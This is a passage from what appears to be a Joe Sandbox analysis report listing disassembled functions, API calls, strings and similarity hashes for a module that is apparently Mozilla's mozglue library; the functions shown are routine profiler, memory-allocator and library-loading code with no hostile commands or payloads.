Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C984A68), ref: 6C9B945E
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9B9470
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9B9482
Part of subcall function 6C9B9420: __Init_thread_footer.LIBCMT ref: 6C9B949F

GetCurrentThreadId.KERNEL32 ref: 6C9BF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C9BF598), ref: 6C9BF621

Part of subcall function 6C9B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9B94EE
Part of subcall function 6C9B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9B9508

GetCurrentThreadId.KERNEL32 ref: 6C9BF637
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8,?,?,00000000,?,6C9BF598), ref: 6C9BF645
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8,?,?,00000000,?,6C9BF598), ref: 6C9BF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C9BF62A

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 52a8606c4625c66817d6aaaebf4a57b00215c88c172db2ce7811284919171790
Instruction ID: 5b081dbff38cd1113da9ee27331405471b10428f000e42b5c153be3e2b363c5c
Opcode Fuzzy Hash: 52a8606c4625c66817d6aaaebf4a57b00215c88c172db2ce7811284919171790
Instruction Fuzzy Hash: 91F0B479214204FFEB006F68A84C95A77BDEB9625DF200011EE6593B01CB358C05C7B5

Function 6C980E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C980DF8), ref: 6C980E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C980EA1
__Init_thread_footer.LIBCMT ref: 6C980EB5
FreeLibrary.KERNEL32 ref: 6C980EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C980E9B
kernel32.dll, xrefs: 6C980E7D

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 3227592a0b161eceda19768230862d38dd527a5024b60be2b29072eb31b07fef
Instruction ID: ec249c385a1f498475a78e22111e067e1fb0542f24ac68e899a7cffbd5be740a
Opcode Fuzzy Hash: 3227592a0b161eceda19768230862d38dd527a5024b60be2b29072eb31b07fef
Instruction Fuzzy Hash: 9B01467070A3818BEF008FE8E968A42B7FAF746B1CF281925D93193B41DB74E405CB65

Function 6C9B05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C9ACFAE,?,?,?,6C9731A7), ref: 6C9B05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C9ACFAE,?,?,?,6C9731A7), ref: 6C9B0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9731A7), ref: 6C9B061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9731A7), ref: 6C9B0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C9B061B, 6C9B0625
<jemalloc>, xrefs: 6C9B05FA, 6C9B060F

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 325b404f78acc21caa98b213e5675cf81ac4f497423f0f75ecbe74a2cd92528a
Instruction ID: 7844444a59932de2b5884e9c994a6715db79140094284863444f6376008a74d1
Opcode Fuzzy Hash: 325b404f78acc21caa98b213e5675cf81ac4f497423f0f75ecbe74a2cd92528a
Instruction Fuzzy Hash: C3E08CE2A0101037F614225ABC86DBB7A1CDBEA134F08003AFD0D82702E94AED1A51F6

Function 6C9805F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5baf0287c6a583390b7f06330dcb65d4005bfe7d0f822ab0e1688d77449573c2
Instruction ID: 5f09d60afd858a369af3236c87643b800b459f68f935c9e7a02cdf1bf1d2cfca
Opcode Fuzzy Hash: 5baf0287c6a583390b7f06330dcb65d4005bfe7d0f822ab0e1688d77449573c2
Instruction Fuzzy Hash: 32A15AB0A06705CFDB14CF29C994A99FBF5BF48304F548AAED45A97B00E730A995CF90

Function 6C9D14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9D14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9D14E2
GetCurrentThreadId.KERNEL32 ref: 6C9D1546
InitializeConditionVariable.KERNEL32(?), ref: 6C9D15BA
free.MOZGLUE(?), ref: 6C9D16B4

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: b453655d336c0e6273dde5a8e34b9b9947d016be6699914457e983db5a0c2b3e
Instruction ID: ad03482edc66c17018c96cbe6ff5ad3403d3795f323386a1ffcfc6c53c69c345
Opcode Fuzzy Hash: b453655d336c0e6273dde5a8e34b9b9947d016be6699914457e983db5a0c2b3e
Instruction Fuzzy Hash: 49610F76A04B009FDB118F20C880BDEB7B4BF9A318F45851CED8A67711DB35E949CB92

Function 6C9C9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9C9FDB
free.MOZGLUE(?,?), ref: 6C9C9FF0
free.MOZGLUE(?,?), ref: 6C9CA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9CA0BE
free.MOZGLUE(?,?), ref: 6C9CA0D5
free.MOZGLUE(?,?), ref: 6C9CA0EB

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 793b17a7bc122f324fe45b075facea66b0e8ddf4fb631e7bd0c5d2934dbc2bd2
Instruction ID: a66a70dd74826f0a6068b23b8d949f90adf318a14c6ccd0cd439a5fefa0c025c
Opcode Fuzzy Hash: 793b17a7bc122f324fe45b075facea66b0e8ddf4fb631e7bd0c5d2934dbc2bd2
Instruction Fuzzy Hash: D361C075908701DFC711CF18C48059AB3F5FF98369F548659E8999B702EB32E986CBC2

Function 6C9CDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9CDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C9CD38A,?), ref: 6C9CDC6F
free.MOZGLUE(?,?,?,?,?,6C9CD38A,?), ref: 6C9CDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C9CD38A,?), ref: 6C9CDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C9CD38A,?), ref: 6C9CDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C9CD38A,?), ref: 6C9CDD4A

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 45a6940e3428aa192a66aa76f27f8da943297986cc86e6172bcd2464c528f7ed
Instruction ID: 5828c1aac01d1c883a4e80d75941807ee0d80036e85b920a80877f186498fb59
Opcode Fuzzy Hash: 45a6940e3428aa192a66aa76f27f8da943297986cc86e6172bcd2464c528f7ed
Instruction Fuzzy Hash: 76417CB6B00605DFCB00CF99C88099AB7F5FF99314B654569D946ABB10EB31FC00CB92

Function 6C9B6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C9AFA80: GetCurrentThreadId.KERNEL32 ref: 6C9AFA8D
Part of subcall function 6C9AFA80: AcquireSRWLockExclusive.KERNEL32(6C9FF448), ref: 6C9AFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9B6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9B67C8

Part of subcall function 6C9C4290: memcpy.VCRUNTIME140(?,?,6C9D2003,6C9D0AD9,?,6C9D0AD9,00000000,?,6C9D0AD9,?,00000004,?,6C9D1A62,?,6C9D2003,?), ref: 6C9C42C4

Strings

data, xrefs: 6C9B6593

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 2bf46fdfa24bdda9fca44e2bb9014a32cfae15fc9f63f9af0277ac2e30165044
Instruction ID: 0a13bceb250fbb998e1922318617f46299a048e9b9a27c081969f8bd87fdf0e3
Opcode Fuzzy Hash: 2bf46fdfa24bdda9fca44e2bb9014a32cfae15fc9f63f9af0277ac2e30165044
Instruction Fuzzy Hash: 27D1DEB5A093409FD724CF24C841B9FB7E5AFE5308F10892DE58997B91EB31E909CB52

Function 6C9CC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9CC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9CC842

Part of subcall function 6C9CCAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C9EB5EB,00000000), ref: 6C9CCB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C9CC863
std::_Facet_Register.LIBCPMT ref: 6C9CC875

Part of subcall function 6C9AB13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C9EB636,?), ref: 6C9AB143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9CC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9CC8BC

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 13562fa14772e9c78c8238b17740ecca96afa090fae654617ae1081eee5ee543
Instruction ID: b5e4cedbd6f7b75a22a0ca6b1cbfc16aaf9b7e2a5eafcb05d2a080e938725a9f
Opcode Fuzzy Hash: 13562fa14772e9c78c8238b17740ecca96afa090fae654617ae1081eee5ee543
Instruction Fuzzy Hash: F0118675B042099BCF00DFA5E8D98AF7BB9EF99354F200129E61697741DB30D905CBA2

Function 6C9AD5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C97EB57,?,?,?,?,?,?,?,?,?), ref: 6C9AD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C97EB57,?), ref: 6C9AD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C97EB57,?), ref: 6C9AD673
free.MOZGLUE(?), ref: 6C9AD888

Strings

|Enabled, xrefs: 6C9AD81E

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 06f2327a37bd10180e4bb385d6ced351c10e127108ba73b492aa04ca0017b1c1
Instruction ID: 9c89463097581eee83b5b3d2bf421bb502765892954c9ec7abbe06aa93e5d1db
Opcode Fuzzy Hash: 06f2327a37bd10180e4bb385d6ced351c10e127108ba73b492aa04ca0017b1c1
Instruction Fuzzy Hash: D4A102B1A053088FDB14CFA8C4907AEBBF5AF59318F18805CDC99AB741D735E946CBA1

Function 6C9AF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C9AF480

Part of subcall function 6C97F100: LoadLibraryW.KERNEL32(shell32,?,6C9ED020), ref: 6C97F122
Part of subcall function 6C97F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C97F132

CloseHandle.KERNEL32(00000000), ref: 6C9AF555

Part of subcall function 6C9814B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C981248,6C981248,?), ref: 6C9814C9
Part of subcall function 6C9814B0: memcpy.VCRUNTIME140(?,6C981248,00000000,?,6C981248,?), ref: 6C9814EF

Part of subcall function 6C97EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C97EEE3

CreateFileW.KERNEL32 ref: 6C9AF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C9AF523

Strings

\oleacc.dll, xrefs: 6C9AF4CB

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 4e6e0c6b46425fb45881d34522e32c7a5abc066df34302b5310502d6c3193923
Instruction ID: 5b878ce074c09641fffd6b32dc96c9f7893a7ccb1cce2b30a7e48d5e974b5121
Opcode Fuzzy Hash: 4e6e0c6b46425fb45881d34522e32c7a5abc066df34302b5310502d6c3193923
Instruction Fuzzy Hash: 674180306097109FE720DFB9D884AAAB7F4AF9531CF501A1CF5A593650EB30D94A8B92

Function 6C9D74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C9D7526
__Init_thread_footer.LIBCMT ref: 6C9D7566
__Init_thread_footer.LIBCMT ref: 6C9D7597

Strings

UnmapViewOfFile2, xrefs: 6C9D7552
kernel32.dll, xrefs: 6C9D7557

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: a4e1599a03f405299416d11b076d4cc6a689205258d753d1075f4a5cbf3d9111
Instruction ID: 0446d15c2fd5860b5d612bcb2848c88621fc5ea749117a7e1aa060ae81f5e7d7
Opcode Fuzzy Hash: a4e1599a03f405299416d11b076d4cc6a689205258d753d1075f4a5cbf3d9111
Instruction Fuzzy Hash: C5214831705901ABCF048FE9D854E4973B6EB97739F128129D421A7F40CB30F807CA96

Function 6C9DA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9FF770,-00000001,?,6C9EE330,?,6C99BDF7), ref: 6C9DA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C99BDF7), ref: 6C9DA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C99BDF7), ref: 6C9DA7E4
LeaveCriticalSection.KERNEL32(6C9FF770), ref: 6C9DA80A

Strings

accelerator.dll, xrefs: 6C9DA7BF

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: e4d05f2fbb3889b0cc9b28059520ffc958cf2e6603bde3185ac2d810047eede3
Instruction ID: 51f5e98f741648add93a4aa30260e43071634f43651fd5cc2e67b793c1df5230
Opcode Fuzzy Hash: e4d05f2fbb3889b0cc9b28059520ffc958cf2e6603bde3185ac2d810047eede3
Instruction Fuzzy Hash: 18018BB16043049FDB04CF59E884C12BBF8FB8AB18715806AE829CB702DB70E800CBA1

Function 6C97F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C97EE51,?), ref: 6C97F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C97F0C2

Strings

Could not find CoTaskMemFree, xrefs: 6C97F0E3
ole32, xrefs: 6C97F0AD
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C97F0DC

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: e03b10746e79c66f4bb8db5cd60ecf953eaab9532aec591917ef22022ab4102e
Instruction ID: 95987edc846e6c4d535259b77926d56df6dd4f37669f555c857555c262d445c5
Opcode Fuzzy Hash: e03b10746e79c66f4bb8db5cd60ecf953eaab9532aec591917ef22022ab4102e
Instruction Fuzzy Hash: 7CE012B1749245DB9F145EA6681C66A37BDAB5360D7248429E522E1F00EE20E415C7A1

Function 6C9B0080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C987204), ref: 6C9B0088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C9B00A7
FreeLibrary.KERNEL32(?,6C987204), ref: 6C9B00BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6C9B00A1
wintrust.dll, xrefs: 6C9B0083

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 6f2c4933ba0621e76a3a3c9d3075b2b8a46dae585147df28e614f5d65bc6619a
Instruction ID: 7dd6bd601f11642ef5b1be9f1914d9e36168fe512fcec262fb13f0a55a894c9d
Opcode Fuzzy Hash: 6f2c4933ba0621e76a3a3c9d3075b2b8a46dae585147df28e614f5d65bc6619a
Instruction Fuzzy Hash: 7FE092B5648309ABEF00AF66E9087027AF8A70B349F208066A936D2B50DBB5D054DF91

Function 6C9B00D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C987235), ref: 6C9B00D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C9B00F7
FreeLibrary.KERNEL32(?,6C987235), ref: 6C9B010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C9B00F1
wintrust.dll, xrefs: 6C9B00D3

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
